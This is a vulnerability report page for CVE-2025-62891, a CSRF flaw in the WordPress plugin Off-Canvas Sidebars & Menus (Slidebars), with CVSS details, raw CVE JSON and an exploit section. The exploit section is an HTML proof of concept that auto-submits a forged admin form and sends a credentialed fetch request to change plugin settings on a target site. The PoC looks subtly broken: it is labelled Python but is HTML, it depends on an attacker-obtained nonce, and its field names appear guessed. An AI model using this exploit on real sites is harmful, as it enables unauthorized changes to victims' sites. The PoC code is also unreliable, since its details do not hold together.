Security Vulnerability Report
中文
CVE-2025-62891 CVSS 4.3 MEDIUM

CVE-2025-62891

Published: 2025-10-27 02:15:48
Last Modified: 2026-04-27 18:16:28

Description

Cross-Site Request Forgery (CSRF) vulnerability in Jory Hogeveen Off-Canvas Sidebars & Menus (Slidebars) off-canvas-sidebars allows Cross Site Request Forgery.This issue affects Off-Canvas Sidebars & Menus (Slidebars): from n/a through <= 0.5.8.5.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Off-Canvas Sidebars & Menus (Slidebars) <= 0.5.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-62891 --> <!-- This PoC demonstrates a CSRF attack targeting Off-Canvas Sidebars plugin --> <html> <head> <title>CSRF PoC - CVE-2025-62891</title> </head> <body> <h1>CSRF PoC for Off-Canvas Sidebars Plugin</h1> <p>This demonstrates how an attacker can exploit the CSRF vulnerability.</p> <!-- Form to modify plugin settings --> <form id="csrfForm" action="[TARGET_SITE]/wp-admin/admin.php" method="POST" enctype="multipart/form-data"> <!-- Plugin admin page endpoint --> <input type="hidden" name="page" value="off-canvas-sidebars"> <!-- Settings modification --> <input type="hidden" name="action" value="save"> <input type="hidden" name="option_page" value="off_canvas_sidebars"> <!-- Modify sidebar settings --> <input type="hidden" name="ocas_sidebars[primary][enabled]" value="1"> <input type="hidden" name="ocas_sidebars[primary][position]" value="left"> <!-- Nonce field (if weak or missing) - attacker would need to obtain this --> <input type="hidden" name="_wpnonce" value="[ATTACKER_OBTAINED_NONCE]"> <button type="submit" id="autoSubmit">Click to Attack</button> </form> <script> // Auto-submit on page load (for demonstration) // In real attack, this would be hidden and triggered via social engineering document.getElementById('autoSubmit').click(); // Or use AJAX with fetch API fetch('[TARGET_SITE]/wp-admin/admin.php', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ 'page': 'off-canvas-sidebars', 'action': 'save', 'ocas_sidebars[primary][enabled]': '1' }) }); </script> <p><strong>Note:</strong> Replace [TARGET_SITE] with the target WordPress URL and obtain valid nonce.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62891", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:48.013", "lastModified": "2026-04-27T18:16:27.653", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Jory Hogeveen Off-Canvas Sidebars & Menus (Slidebars) off-canvas-sidebars allows Cross Site Request Forgery.This issue affects Off-Canvas Sidebars & Menus (Slidebars): from n/a through <= 0.5.8.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/off-canvas-sidebars/vulnerability/wordpress-off-canvas-sidebars-menus-slidebars-plugin-0-5-8-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}